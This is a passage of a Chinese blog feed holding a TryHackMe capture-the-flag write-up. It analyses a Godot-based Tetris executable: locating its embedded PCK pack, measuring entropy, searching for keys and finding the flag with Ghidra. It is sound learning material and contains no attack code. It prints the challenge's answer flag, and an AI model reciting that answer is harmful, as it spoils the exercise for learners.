<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Nuyoahのblog</title>
  <icon>https://www.gravatar.com/avatar/933c9de452532a7b852d94b374f68331</icon>
  <subtitle>莫三天打鱼两天晒网</subtitle>
  <link href="https://nuyoah.space/atom.xml" rel="self"/>
  
  <link href="https://nuyoah.space/"/>
  <updated>2026-09-09T03:43:28.172Z</updated>
  <id>https://nuyoah.space/</id>
  
  <author>
    <name>Nuyoah</name>
    <email>3287828082@qq.com</email>
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>[THM] THE GAME CHALLENGE 解题笔记</title>
    <link href="https://nuyoah.space/posts/thm-the-game-challenge.html"/>
    <id>https://nuyoah.space/posts/thm-the-game-challenge.html</id>
    <published>2026-06-07T16:00:00.000Z</published>
    <updated>2026-09-09T03:43:28.172Z</updated>
    
    <content type="html"><![CDATA[<h1 id="TryHackMe-THE-GAME-CHALLENGE-解题笔记"><a href="#TryHackMe-THE-GAME-CHALLENGE-解题笔记" class="headerlink" title="TryHackMe THE GAME CHALLENGE 解题笔记"></a>TryHackMe THE GAME CHALLENGE 解题笔记</h1><h2 id="一、题目信息"><a href="#一、题目信息" class="headerlink" title="一、题目信息"></a>一、题目信息</h2><ul><li><strong>题目名称</strong>：THE GAME CHALLENGE</li><li><strong>题目文件</strong>：<code>Tetrix.exe-1741979048280.zip</code></li><li><strong>题目类型</strong>：逆向工程 / 游戏逆向 / 文件隐藏分析</li></ul><p>题目描述：</p><blockquote><p>Cipher has gone dark, but intel reveals he’s hiding critical secrets inside Tetris, a popular video game. Hack it and uncover the encrypted data buried in its code.</p></blockquote><p>题目提供了一个 Windows 游戏程序，并在描述中提到 Tetris 和隐藏的加密数据。我的分析思路如下：</p><ol><li>识别附件和可执行文件的基本信息；</li><li>检查 PE 节区及文件尾部是否存在额外数据；</li><li>定位并提取嵌入的 Godot PCK 资源包；</li><li>检查资源包结构和可能的加密特征；</li><li>使用 Ghidra 复现十六进制编辑器的全文件搜索；</li><li>排除误命中并定位 flag。</li></ol><h2 id="二、使用工具"><a href="#二、使用工具" class="headerlink" title="二、使用工具"></a>二、使用工具</h2><div class="table-container"><table><thead><tr><th>类型</th><th>工具 / 技术</th></tr></thead><tbody><tr><td>操作系统</td><td>Kali Linux</td></tr><tr><td>文件识别</td><td><code>file</code></td></tr><tr><td>压缩包处理</td><td><code>unzip</code></td></tr><tr><td>哈希校验</td><td><code>sha256sum</code></td></tr><tr><td>PE 结构分析</td><td><code>objdump</code></td></tr><tr><td>十六进制查看</td><td><code>xxd</code>、Bless Hex Editor</td></tr><tr><td>字符串搜索</td><td><code>strings</code>、<code>grep</code></td></tr><tr><td>逆向分析</td><td>Ghidra</td></tr><tr><td>涉及格式</td><td>PE、Godot PCK</td></tr><tr><td>关键知识点</td><td>PE section、overlay、Godot PCK、Raw Binary 导入、ASCII 十六进制搜索</td></tr></tbody></table></div><h2 id="三、解压附件"><a href="#三、解压附件" class="headerlink" title="三、解压附件"></a>三、解压附件</h2><p>首先识别压缩包类型：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">file Tetrix.exe-1741979048280.zip</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Tetrix.exe-1741979048280.zip: Zip archive data, at least v2.0 to extract, compression method=deflate</span><br></pre></td></tr></table></figure><p>这是一个普通的 ZIP 压缩包，直接解压：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">unzip -n Tetrix.exe-1741979048280.zip</span><br></pre></td></tr></table></figure><p>解压后得到：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Tetrix.exe</span><br><span class="line">__MACOSX/</span><br></pre></td></tr></table></figure><p><code>__MACOSX</code> 是 macOS 创建压缩包时附带的元数据目录，可以忽略。真正需要分析的是 <code>Tetrix.exe</code>。</p><h2 id="四、基础文件信息"><a href="#四、基础文件信息" class="headerlink" title="四、基础文件信息"></a>四、基础文件信息</h2><h3 id="4-1-识别文件类型"><a href="#4-1-识别文件类型" class="headerlink" title="4.1 识别文件类型"></a>4.1 识别文件类型</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">file Tetrix.exe</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Tetrix.exe: PE32+ executable for MS Windows 5.02 (GUI), x86-64 (stripped to external PDB), 13 sections</span><br></pre></td></tr></table></figure><p>由此可以判断，它是一个 64 位 Windows GUI 程序，并且包含 13 个 PE 节区。</p><h3 id="4-2-计算文件哈希"><a href="#4-2-计算文件哈希" class="headerlink" title="4.2 计算文件哈希"></a>4.2 计算文件哈希</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sha256sum</span> Tetrix.exe</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">64ba9f8a44b6d28026117497eedac76bf30189a09b5d8b7decf47fbd353ec96f  Tetrix.exe</span><br></pre></td></tr></table></figure><p>记录哈希可以确认后续分析过程中样本没有发生变化。</p><h3 id="4-3-查看文件大小"><a href="#4-3-查看文件大小" class="headerlink" title="4.3 查看文件大小"></a>4.3 查看文件大小</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ls</span> -lh Tetrix.exe</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-rw-rw-rw- 1 meng meng 89M 2025年 3月15日 Tetrix.exe</span><br></pre></td></tr></table></figure><p>一个简单的 Tetris 游戏体积接近 89 MB，说明文件中可能包含完整游戏引擎、资源包或其他附加数据。</p><h2 id="五、分析-PE-节区"><a href="#五、分析-PE-节区" class="headerlink" title="五、分析 PE 节区"></a>五、分析 PE 节区</h2><p>使用 <code>objdump</code> 查看 PE 节区：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">objdump -h Tetrix.exe</span><br></pre></td></tr></table></figure><p>关键输出：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Idx Name          Size      VMA               LMA               File off</span><br><span class="line">  0 .text         03ee1650  0000000140001000  0000000140001000  00000400</span><br><span class="line">  1 .data         0004a5c0  0000000143ee3000  0000000143ee3000  03ee1c00</span><br><span class="line">  2 .rdata        00da4400  0000000143f2e000  0000000143f2e000  03f2c200</span><br><span class="line">  3 pck           00000008  0000000144cd3000  0000000144cd3000  05036600</span><br><span class="line">  4 .pdata        00146df0  0000000144cd4000  0000000144cd4000  04cd0800</span><br><span class="line">  5 .xdata        001930a4  0000000144e1b000  0000000144e1b000  04e17600</span><br></pre></td></tr></table></figure><p>这里最值得注意的是名为 <code>pck</code> 的节区。结合样本是游戏程序，可以联想到 Godot 引擎使用的 <code>.pck</code> 资源包。</p><p>该节区的文件偏移和声明大小分别为：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">File offset = 0x05036600</span><br><span class="line">Size        = 0x8</span><br></pre></td></tr></table></figure><p>声明的节区结束位置为：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0x05036600 + 0x8 = 0x05036608</span><br></pre></td></tr></table></figure><h2 id="六、检查文件尾部数据"><a href="#六、检查文件尾部数据" class="headerlink" title="六、检查文件尾部数据"></a>六、检查文件尾部数据</h2><p>查看真实文件大小，并将十六进制偏移转换为十进制：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">stat</span> -c <span class="string">&#x27;%s&#x27;</span> Tetrix.exe</span><br><span class="line"><span class="built_in">printf</span> <span class="string">&quot;%d\n&quot;</span> 0x05036608</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">93021728</span><br><span class="line">84108808</span><br></pre></td></tr></table></figure><p>文件真实大小明显大于 <code>pck</code> 节声明的结束位置，尾部还存在：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">93021728 - 84108808 = 8912920 bytes</span><br></pre></td></tr></table></figure><p>也就是约 8.5 MiB 的附加数据。</p><p>从 PE 结构角度看，<code>pck</code> 节只声明了 8 字节，后续内容属于文件尾部的 overlay；从 Godot 打包结构看，从 <code>0x05036600</code> 开始一直到文件末尾的数据共同组成了嵌入式 PCK 包。</p><h2 id="七、定位-Godot-PCK-包头"><a href="#七、定位-Godot-PCK-包头" class="headerlink" title="七、定位 Godot PCK 包头"></a>七、定位 Godot PCK 包头</h2><p>查看 <code>pck</code> 节起始位置附近的数据：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">xxd -s $((<span class="number">0</span>x05036600)) -l 32 Tetrix.exe</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">05036600: 4744 5043 0200 0000 0400 0000 0300 0000  GDPC............</span><br><span class="line">05036610: 0000 0000 0300 0000 3017 0000 0000 0000  ........0.......</span><br></pre></td></tr></table></figure><p>其中：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">47 44 50 43 = GDPC</span><br></pre></td></tr></table></figure><p><code>GDPC</code> 是 Godot PCK 文件的 magic，可以确认 <code>Tetrix.exe</code> 中嵌入了 Godot 游戏资源包。</p><p>继续搜索文件中的所有 <code>GDPC</code>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">grep -abo <span class="string">&#x27;GDPC&#x27;</span> Tetrix.exe | <span class="built_in">tail</span> -20</span><br></pre></td></tr></table></figure><p>部分结果：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">45907339:GDPC</span><br><span class="line">45907436:GDPC</span><br><span class="line">45907536:GDPC</span><br><span class="line">45907718:GDPC</span><br><span class="line">46318144:GDPC</span><br><span class="line">84108800:GDPC</span><br><span class="line">93021724:GDPC</span><br></pre></td></tr></table></figure><p>其中：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">84108800 = 0x05036600</span><br></pre></td></tr></table></figure><p>这与前面发现的 <code>pck</code> 节起始位置完全一致。文件末尾的 <code>GDPC</code> 则是 PCK 的尾部标记。</p><h2 id="八、提取-PCK-资源包"><a href="#八、提取-PCK-资源包" class="headerlink" title="八、提取 PCK 资源包"></a>八、提取 PCK 资源包</h2><p>从偏移 <code>0x05036600</code> 开始提取文件剩余内容：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">tail</span> -c +$((<span class="number">0</span>x05036600 + <span class="number">1</span>)) Tetrix.exe &gt; tetrix.pck</span><br></pre></td></tr></table></figure><p>这里的 <code>tail -c +N</code> 从第 <code>N</code> 个字节开始读取，而文件偏移从 0 开始，因此需要加 1。</p><p>查看提取后的文件大小：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">stat</span> -c <span class="string">&#x27;%s&#x27;</span> tetrix.pck</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">8912928</span><br></pre></td></tr></table></figure><p>查看 PCK 头部：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">xxd -l 128 tetrix.pck</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">00000000: 4744 5043 0200 0000 0400 0000 0300 0000  GDPC............</span><br><span class="line">00000010: 0000 0000 0300 0000 3017 0000 0000 0000  ........0.......</span><br><span class="line">00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................</span><br><span class="line">00000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................</span><br><span class="line">00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................</span><br><span class="line">00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................</span><br><span class="line">00000060: 4600 0000 ...</span><br></pre></td></tr></table></figure><p>可以初步解析为：</p><div class="table-container"><table><thead><tr><th>字段</th><th>值</th><th>含义</th></tr></thead><tbody><tr><td>Magic</td><td><code>GDPC</code></td><td>Godot PCK 标识</td></tr><tr><td>PCK format</td><td><code>2</code></td><td>PCK 格式版本</td></tr><tr><td>Godot version</td><td><code>4.3.0</code></td><td>引擎版本</td></tr><tr><td>Flags</td><td><code>3</code></td><td>PCK 标志位</td></tr><tr><td>File base</td><td><code>0x1730</code></td><td>文件数据区域基址</td></tr><tr><td>File count</td><td><code>0x46</code></td><td>共 70 个文件</td></tr></tbody></table></div><h2 id="九、检查-PCK-目录区"><a href="#九、检查-PCK-目录区" class="headerlink" title="九、检查 PCK 目录区"></a>九、检查 PCK 目录区</h2><p>为了进一步检查 PCK 头部和目录区，我编写了下面的 Python 脚本。</p><p><code>pck_header.py</code>：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pathlib <span class="keyword">import</span> Path</span><br><span class="line"><span class="keyword">import</span> math</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">entropy</span>(<span class="params">buf</span>):</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> buf:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line">    frequencies = [<span class="number">0</span>] * <span class="number">256</span></span><br><span class="line">    <span class="keyword">for</span> byte <span class="keyword">in</span> buf:</span><br><span class="line">        frequencies[byte] += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">    result = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> count <span class="keyword">in</span> frequencies:</span><br><span class="line">        <span class="keyword">if</span> count:</span><br><span class="line">            probability = count / <span class="built_in">len</span>(buf)</span><br><span class="line">            result -= probability * math.log2(probability)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> result</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">data = Path(<span class="string">&quot;tetrix.pck&quot;</span>).read_bytes()</span><br><span class="line"></span><br><span class="line">magic = data[:<span class="number">4</span>]</span><br><span class="line">fmt, major, minor, patch, flags, file_base = struct.unpack_from(</span><br><span class="line">    <span class="string">&quot;&lt;IIIIIQ&quot;</span>, data, <span class="number">4</span></span><br><span class="line">)</span><br><span class="line">file_count = struct.unpack_from(<span class="string">&quot;&lt;I&quot;</span>, data, <span class="number">0x60</span>)[<span class="number">0</span>]</span><br><span class="line">directory = data[<span class="number">0x64</span>:file_base]</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[+] magic:&quot;</span>, magic)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[+] pck_format:&quot;</span>, fmt)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[+] godot_version:&quot;</span>, <span class="string">f&quot;<span class="subst">&#123;major&#125;</span>.<span class="subst">&#123;minor&#125;</span>.<span class="subst">&#123;patch&#125;</span>&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[+] flags:&quot;</span>, flags)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[+] file_base:&quot;</span>, <span class="built_in">hex</span>(file_base), file_base)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[+] file_count:&quot;</span>, file_count)</span><br><span class="line"><span class="built_in">print</span>(</span><br><span class="line">    <span class="string">&quot;[+] directory_region:&quot;</span>,</span><br><span class="line">    <span class="built_in">hex</span>(<span class="number">0x64</span>),</span><br><span class="line">    <span class="string">&quot;-&quot;</span>,</span><br><span class="line">    <span class="built_in">hex</span>(file_base),</span><br><span class="line">    <span class="string">&quot;size =&quot;</span>,</span><br><span class="line">    <span class="built_in">len</span>(directory),</span><br><span class="line">)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[+] directory_entropy:&quot;</span>, <span class="built_in">round</span>(entropy(directory), <span class="number">4</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[+] directory_head:&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(directory[:<span class="number">64</span>].<span class="built_in">hex</span>())</span><br></pre></td></tr></table></figure><p>运行脚本：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 pck_header.py</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">[+] magic: b&#x27;GDPC&#x27;</span><br><span class="line">[+] pck_format: 2</span><br><span class="line">[+] godot_version: 4.3.0</span><br><span class="line">[+] flags: 3</span><br><span class="line">[+] file_base: 0x1730 5936</span><br><span class="line">[+] file_count: 70</span><br><span class="line">[+] directory_region: 0x64 - 0x1730 size = 5836</span><br><span class="line">[+] directory_entropy: 7.9702</span><br><span class="line">[+] directory_head:</span><br><span class="line">28a995f8be6ab5a2771571f9eeadfd519816000000000000a9a9d11444480e8f...</span><br></pre></td></tr></table></figure><p>目录区域的熵值为 <code>7.9702</code>，非常接近理论最大值 8，说明这部分数据具有很强的随机性。</p><p>高熵数据可能来自加密或压缩，不能只根据熵值直接下结论。不过结合 PCK 标志位和目录内容不可直接辨认，可以合理怀疑该 PCK 的目录区域经过了加密处理。</p><h2 id="十、搜索-Godot-相关字符串"><a href="#十、搜索-Godot-相关字符串" class="headerlink" title="十、搜索 Godot 相关字符串"></a>十、搜索 Godot 相关字符串</h2><p>继续使用 <code>strings</code> 搜索 Godot、资源路径和加密相关字符串：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">strings -a -n 5 Tetrix.exe \</span><br><span class="line">  | grep -Eai <span class="string">&#x27;script_encryption|encryption_key|PackedData|FileAccessEncrypted|AES|encrypt|decrypt|key|godot|GDPC|pck|res://&#x27;</span></span><br></pre></td></tr></table></figure><p>程序中可以找到 Godot 引擎版本：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Godot Engine v4.3.stable.official</span><br></pre></td></tr></table></figure><p>同时还能看到一些资源路径和编译后的 GDScript 文件：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">res://GUI.gdc</span><br><span class="line">res://StoreSettings.gdc</span><br><span class="line">res://Utils.gdc</span><br><span class="line">res://blocks/I.gdc</span><br><span class="line">res://blocks/J.gdc</span><br><span class="line">res://blocks/L.gdc</span><br><span class="line">res://blocks/O.gdc</span><br><span class="line">res://blocks/S.gdc</span><br><span class="line">res://blocks/T.gdc</span><br></pre></td></tr></table></figure><p>这些信息进一步确认了样本是 Godot 游戏，并且包含 <code>.gdc</code> 编译脚本。</p><h2 id="十一、尝试搜索明文密钥"><a href="#十一、尝试搜索明文密钥" class="headerlink" title="十一、尝试搜索明文密钥"></a>十一、尝试搜索明文密钥</h2><p>Godot PCK 常见的加密密钥长度为 256 bit，也就是 32 字节。如果密钥以十六进制字符串保存，通常会表现为 64 个十六进制字符。</p><p>可以使用下面的命令进行初步搜索：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">strings -a -n 32 Tetrix.exe \</span><br><span class="line">  | grep -Eio <span class="string">&#x27;[0-9a-fA-F]&#123;64&#125;&#x27;</span> \</span><br><span class="line">  | <span class="built_in">sort</span> -u</span><br></pre></td></tr></table></figure><p>搜索结果主要是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">0000000000000000000000000000000000000000000000000000000000000000</span><br><span class="line">1973197219711970196919681967196619651964196319621961196019591958</span><br><span class="line">1989198819871986198519841983198219811980197919781977197619751974</span><br><span class="line">3333333333333333333333333333333333333333333333333333333333333333</span><br><span class="line">ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff</span><br></pre></td></tr></table></figure><p>这些内容大多是全 0、全 <code>f</code>、重复字符或年份序列，不像随机生成的有效密钥。</p><p>如果要沿着 PCK 解包路线继续分析，就需要逆向程序，寻找以原始二进制形式保存或在运行时生成的密钥。但这道题还有一条更直接的路线：对完整文件搜索 flag 特征。</p><h2 id="十二、使用-Ghidra-进行全文件搜索"><a href="#十二、使用-Ghidra-进行全文件搜索" class="headerlink" title="十二、使用 Ghidra 进行全文件搜索"></a>十二、使用 Ghidra 进行全文件搜索</h2><p>参考其他解题思路，可以使用 Bless Hex Editor 打开整个文件并搜索 <code>THM</code>。我希望使用 Ghidra 复现相同的搜索方式。</p><p>这里需要注意：</p><ul><li>Bless Hex Editor 按原始文件偏移从头到尾显示数据；</li><li>Ghidra 默认按 PE 格式导入时，显示的是经过 PE Loader 映射后的地址空间；</li><li>如果希望在 Ghidra 中像十六进制编辑器一样查看整个原始文件，应将样本作为 <strong>Raw Binary</strong> 导入。</li></ul><p>重新导入 <code>Tetrix.exe</code>：</p><ol><li>选择 <code>File -&gt; Import File</code>；</li><li>选择 <code>Tetrix.exe</code>；</li><li>将 <code>Format</code> 设置为 <code>Raw Binary</code>；</li><li>将 <code>Base Address</code> 设置为 <code>0x0</code>；</li><li>将 <code>Language</code> 设置为 <code>x86:LE:64:default</code>。</li></ol><p>这样导入后，Ghidra 中显示的地址就等于文件偏移，与 Bless 左侧显示的偏移一致。由于这里的目标只是搜索原始字节，不需要运行自动分析。</p><h2 id="十三、搜索-THM-特征"><a href="#十三、搜索-THM-特征" class="headerlink" title="十三、搜索 THM 特征"></a>十三、搜索 THM 特征</h2><p>打开 Raw Binary 版本后，选择：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Search -&gt; Memory</span><br></pre></td></tr></table></figure><p>搜索下面的 ASCII 字节：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">54 48 4D</span><br></pre></td></tr></table></figure><p>它对应字符串：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">THM</span><br></pre></td></tr></table></figure><p>搜索结果中出现了多个候选地址：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">041567f7</span><br><span class="line">042502c6</span><br><span class="line">043906fa</span><br><span class="line">050cf1b6</span><br><span class="line">058b159c</span><br></pre></td></tr></table></figure><p>这些位置只是包含 <code>THM</code> 字节序列，不一定都是 flag。</p><h3 id="13-1-排除误命中"><a href="#13-1-排除误命中" class="headerlink" title="13.1 排除误命中"></a>13.1 排除误命中</h3><p>查看第一个搜索结果附近的数据，发现它位于普通字符串：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">FEATURE_ARITHMETIC</span><br></pre></td></tr></table></figure><p>其中 <code>ARITHMETIC</code> 恰好包含：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ARI[THM]ETIC</span><br></pre></td></tr></table></figure><p>这只是字符串子串造成的误命中。</p><p>TryHackMe flag 通常使用下面的格式：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">THM&#123;...&#125;</span><br></pre></td></tr></table></figure><p>其十六进制前缀为：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">54 48 4D 7B</span><br></pre></td></tr></table></figure><p>因此搜索时不仅要检查 <code>THM</code>，还要确认后面是否紧跟 <code>&#123;</code>。</p><h2 id="十四、定位最终-flag"><a href="#十四、定位最终-flag" class="headerlink" title="十四、定位最终 flag"></a>十四、定位最终 flag</h2><p>继续检查搜索结果，在文件偏移 <code>0x058b159c</code> 附近发现下面的完整字节序列：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">54 48 4D 7B 49 5F 43 41 4E 5F 52 45 41 44 5F 49 54 5F 41 4C 4C 7D</span><br></pre></td></tr></table></figure><p>转换为 ASCII：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">T  H  M  &#123;  I  _  C  A  N  _  R  E  A  D  _  I  T  _  A  L  L  &#125;</span><br></pre></td></tr></table></figure><p>最终得到：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">THM&#123;I_CAN_READ_IT_ALL&#125;</span><br></pre></td></tr></table></figure><p><img src="https://img.nuyoah.icu/post/img/THM%E7%B3%BB%E5%88%97/the-game-challenge/1780908611_f332ba7cfdf82a78e83da254a6bbc0e4.%7Bext%7D" alt="flag"></p><h2 id="十五、总结"><a href="#十五、总结" class="headerlink" title="十五、总结"></a>十五、总结</h2><p>这道题属于游戏逆向和文件隐藏分析题。虽然最终可以通过搜索明文 <code>THM&#123;</code> 找到 flag，但完整分析过程中涉及了多个值得记录的知识点。</p><p>整体分析路线如下：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">解压附件</span><br><span class="line">    |</span><br><span class="line">识别 PE32+ Windows x64 程序</span><br><span class="line">    |</span><br><span class="line">分析 PE section</span><br><span class="line">    |</span><br><span class="line">发现可疑的 pck 节</span><br><span class="line">    |</span><br><span class="line">定位 0x05036600 处的 GDPC</span><br><span class="line">    |</span><br><span class="line">确认 EXE 